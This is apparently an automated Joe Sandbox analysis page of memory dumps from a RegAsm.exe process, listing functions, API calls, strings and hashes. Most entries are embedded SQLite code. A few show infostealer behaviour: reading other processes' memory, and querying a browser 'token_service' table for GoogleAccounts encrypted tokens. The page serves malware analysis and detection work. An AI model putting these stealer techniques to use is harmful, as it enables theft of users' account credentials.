Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %c%04d-%02d-%02d %02d:%02d:%06.3f$abort due to ROLLBACK$another row available$d$no more rows available$unknown error
API String ID: 0-322231948
Opcode ID: fcc7daadeaead2ce40ca76878a8fd7c0476696e06784c4a9a6a2829df51d3a65
Instruction ID: 06cc4f629f2ec08dac8482b4a3b910c1c0a61226a748e124107c0b7676e1ad52
Opcode Fuzzy Hash: fcc7daadeaead2ce40ca76878a8fd7c0476696e06784c4a9a6a2829df51d3a65
Instruction Fuzzy Hash: 93E1BC756093409BE700CF68C888B9FB7E5AF88308F54492DF88997651E776F906CB92

Function 1FEE28E5 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 346COMMON

Download Yara Rule

Strings

INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');, xrefs: 1FEE29F1
malformed inverted index for FTS5 table %s.%s, xrefs: 1FEE2A8A
unable to validate the inverted index for FTS5 table %s.%s: %s, xrefs: 1FEE2AA0

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');$malformed inverted index for FTS5 table %s.%s$unable to validate the inverted index for FTS5 table %s.%s: %s
API String ID: 0-3572959941
Opcode ID: 1ee567717084b54ea613e59bf1dc54950ce7c46a441c115b4d2b07a8713257c7
Instruction ID: 1b28bc5d2e9c75f89dd142a687e8b6e0ed19616a51c3a9540cc361bbc5d89b78
Opcode Fuzzy Hash: 1ee567717084b54ea613e59bf1dc54950ce7c46a441c115b4d2b07a8713257c7
Instruction Fuzzy Hash: 63411972A05601AFF310CF68EC4CED777A8FF44259F140129F94582122EF39A655EBE6

Function 1FF0CEA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 286COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FF0CF57, 1FF0CF87, 1FF0D0A7, 1FF0D130
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FF0CF48, 1FF0CF78, 1FF0D098, 1FF0D121
database corruption, xrefs: 1FF0CF52, 1FF0CF82, 1FF0D0A2, 1FF0D12B

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: 6e81e4dd67003d4d18954072325c0d104534f51a43d7610ae370471f7d6d204b
Instruction ID: d8def4952d21f3c4b3aa23458d640dd6873eaebf593c3fc457bca2aa913814ec
Opcode Fuzzy Hash: 6e81e4dd67003d4d18954072325c0d104534f51a43d7610ae370471f7d6d204b
Instruction Fuzzy Hash: FF913C326083955FD304EE2998909FEBFD0EF95215F8481AFF9C887382D129D609D7B2

Function 1FEC9700 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 277COMMON

Download Yara Rule

Strings

(FK), xrefs: 1FEC98D3

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: (FK)
API String ID: 0-1642768157
Opcode ID: 19d449b684bb23a01a4008c97f53095ddf9393a125f6d50f96b2fd5c44333282
Instruction ID: 3411d720cfcfba337270677ce87dcbe623d88e9d35376d83da0adc685bd36e0e
Opcode Fuzzy Hash: 19d449b684bb23a01a4008c97f53095ddf9393a125f6d50f96b2fd5c44333282
Instruction Fuzzy Hash: C881D47770A3009FE7109F69EC40B6AB7A1FB84239F20466EF5469B6A1E732E414D750

Function 20048D80 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 271COMMON

Download Yara Rule

Strings

%s-shm, xrefs: 20048DF2
winOpenShm, xrefs: 20048FB9
readonly_shm, xrefs: 20048F52

Memory Dump Source

Source File: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s-shm$readonly_shm$winOpenShm
API String ID: 0-2815843928
Opcode ID: a65707c4e3ef220fe01adb2c44ccf8ad9480e7867e5ba2ac71569cf65c18e930
Instruction ID: 27c7e6d2217d1367228f981395e59aaa22975b1b43d249c06e3edf49e2901a19
Opcode Fuzzy Hash: a65707c4e3ef220fe01adb2c44ccf8ad9480e7867e5ba2ac71569cf65c18e930
Instruction Fuzzy Hash: B991B071D08B419BF7109FA4DC48B5A77E8BB04304F040539FE4597652EB3AE918EBAA

Function 1FEDEB00 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 187COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEDECDA
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEDECCB
%.*s%s, xrefs: 1FEDEC88
database corruption, xrefs: 1FEDECD5

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %.*s%s$%s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-894757972
Opcode ID: 1db8cbce3593381cafa84249cf72a44ea1951d4987403baa13cdb6e9018525cd
Instruction ID: 2cb5642758f21d7850ed219902626c7f0f9945d658c55b97cedb022af3034ba2
Opcode Fuzzy Hash: 1db8cbce3593381cafa84249cf72a44ea1951d4987403baa13cdb6e9018525cd
Instruction Fuzzy Hash: 4161DD71A043818FD714CF24C884AAAB7E2FF89358F04496DF8499B351E732F906CB92

Function 1FF69030 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 169COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FF6905E, 1FF69191, 1FF691C8, 1FF691F3
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FF6904F, 1FF69182, 1FF691B9, 1FF691E4
database corruption, xrefs: 1FF69059, 1FF6918C, 1FF691C3, 1FF691EE

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: ff4d25da9f26e9a3f9c37ea1344a662c0980add1abe8a5236aeadd4562c9869b
Instruction ID: b8385767bad6b57c2eeb8661a90c57fcbb4e2d6ab19d01ed19734814adddc8ca
Opcode Fuzzy Hash: ff4d25da9f26e9a3f9c37ea1344a662c0980add1abe8a5236aeadd4562c9869b
Instruction Fuzzy Hash: 445108727043406BD310DE58C984FA6B7E0FF84225FA08869F64ACB741D766F5458771

Function 1FEB9DA0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 160COMMON

Download Yara Rule

Strings

[%!g,%!g],, xrefs: 1FEB9E7E
[%!g,%!g]], xrefs: 1FEB9EC0

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: [%!g,%!g],$[%!g,%!g]]
API String ID: 0-3388633204
Opcode ID: 21772851af3955f8cd5ad3c8e4a56ff698d962916add196a382a28379e4793d4
Instruction ID: 0f3cced80c93b912ba00fab4e2d28e3f7766d6c0891ffd0fe46be906c71355d0
Opcode Fuzzy Hash: 21772851af3955f8cd5ad3c8e4a56ff698d962916add196a382a28379e4793d4
Instruction Fuzzy Hash: 28510030904B059BE700DF29CCC4B6BB7A4BF46315F00862DF84A9A251FB79B585DBE2

Function 0040F7CD Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000000), ref: 0040F7EC
VirtualQueryEx.KERNEL32(?,?,?,0000001C), ref: 0040F816
ReadProcessMemory.KERNEL32(?,00000000,?,00064000,00000000), ref: 0040F863
ReadProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 0040F8BC
VirtualQueryEx.KERNEL32(?,?,?,0000001C), ref: 0040F914
??_V@YAXPAX@Z.MSVCRT(?), ref: 0040F925

Strings

@, xrefs: 0040F82F

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: MemoryProcessQueryReadVirtual
String ID: @
API String ID: 3835927879-2766056989
Opcode ID: 743798fdbf5d0f3cc46a60d0bc7e1fe958e7616ac6d725bafec90f2111541188
Instruction ID: fccf2c669ad884d2d4830f7c8f160bdf73a91ace2dae9be5145791a52f232573
Opcode Fuzzy Hash: 743798fdbf5d0f3cc46a60d0bc7e1fe958e7616ac6d725bafec90f2111541188
Instruction Fuzzy Hash: 2941B072A00209FBDF209FA1CC45BDF7B76EF44760F14803AF901A66A0D779895ADB94

Function 1FEDF330 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 126COMMON

Download Yara Rule

Strings

malformed inverted index for FTS%d table %s.%s, xrefs: 1FEDF3F3
unable to validate the inverted index for FTS%d table %s.%s: %s, xrefs: 1FEDF418
INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');, xrefs: 1FEDF33F

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');$malformed inverted index for FTS%d table %s.%s$unable to validate the inverted index for FTS%d table %s.%s: %s
API String ID: 0-2809892521
Opcode ID: 96ba550cae35514c3b1143b752df085494ffd08f1373b56ff027e3f8e8881de8
Instruction ID: 45bb6347384c893ac2551441cdd6596543b1661316168b0da6448a49a62488dc
Opcode Fuzzy Hash: 96ba550cae35514c3b1143b752df085494ffd08f1373b56ff027e3f8e8881de8
Instruction Fuzzy Hash: 3E412172909741AFF300DB28DC0CE9B3768EF44219F040529FC06C6621EF29A656FBA6

Function 1FEE6E30 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 30COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEE6E67
misuse, xrefs: 1FEE6E62
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEE6E58
API call with %s database connection pointer, xrefs: 1FEE6E4C
invalid, xrefs: 1FEE6E47

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API call with %s database connection pointer$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$invalid$misuse
API String ID: 0-3670841456
Opcode ID: 0224b243acef996eddb6038e9fbd89d93ead05ef557014d95f6195a431820e97
Instruction ID: 1670e1109cee1ce21186a62818bfea7d055b472b97a99caddc427da7be818a5c
Opcode Fuzzy Hash: 0224b243acef996eddb6038e9fbd89d93ead05ef557014d95f6195a431820e97
Instruction Fuzzy Hash: F9F055B4A60348ABFB045584ECC2FE93B127B8170EF80004CE3D41E2EBE20AB6035A00

Function 1FEE6EB0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 29COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEE6EEA
misuse, xrefs: 1FEE6EE5
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEE6EDB
API call with %s database connection pointer, xrefs: 1FEE6ECF
invalid, xrefs: 1FEE6ECA

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API call with %s database connection pointer$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$invalid$misuse
API String ID: 0-3670841456
Opcode ID: 94f4c5967e09b89e5a1b04c30509825dfe75b1d0b3b6f40968755d07d957a783
Instruction ID: 14c4836dc3423a7a67ffc52b968e60c2626ca044f3b117a92d802a80c23ac26c
Opcode Fuzzy Hash: 94f4c5967e09b89e5a1b04c30509825dfe75b1d0b3b6f40968755d07d957a783
Instruction Fuzzy Hash: 3EF0E560B24788AFFB104991ECE0FEA3685678070EF8060A5F3545E2EBF614A6404600

Function 004098E5 Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 215stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

lstrlen.KERNEL32(?), ref: 00409A6A

Part of subcall function 00411CD7: LocalAlloc.KERNEL32(00000040,?,?,?,?,004081CC,?), ref: 00411CEF

StrStrA.SHLWAPI(00000000,AccountId), ref: 00409A87
lstrlen.KERNEL32(?), ref: 00409B36
lstrlen.KERNEL32(?), ref: 00409B51

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

Part of subcall function 0040825F: LocalAlloc.KERNEL32(00000040), ref: 004082DD

Strings

GoogleAccounts, xrefs: 00409965
GoogleAccounts, xrefs: 0040990E
SELECT service, encrypted_token FROM token_service, xrefs: 004099F6
AccountId, xrefs: 00409A81

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat
String ID: AccountId$GoogleAccounts$GoogleAccounts$SELECT service, encrypted_token FROM token_service
API String ID: 3171688271-1713091031
Opcode ID: 0f0f553fdd210ec1913d5b906107fec5e0199bd479d0814c022d15f1db10d9b2
Instruction ID: ffce51218112ee92ac98ef01dd7f9ce9e8d6841d38fca342d044a87e3e512f0b
Opcode Fuzzy Hash: 0f0f553fdd210ec1913d5b906107fec5e0199bd479d0814c022d15f1db10d9b2
Instruction Fuzzy Hash: 24810271E00119ABCF00FBA6DE469DE7774EF04308F610436F904B71A2DBB96E958B99

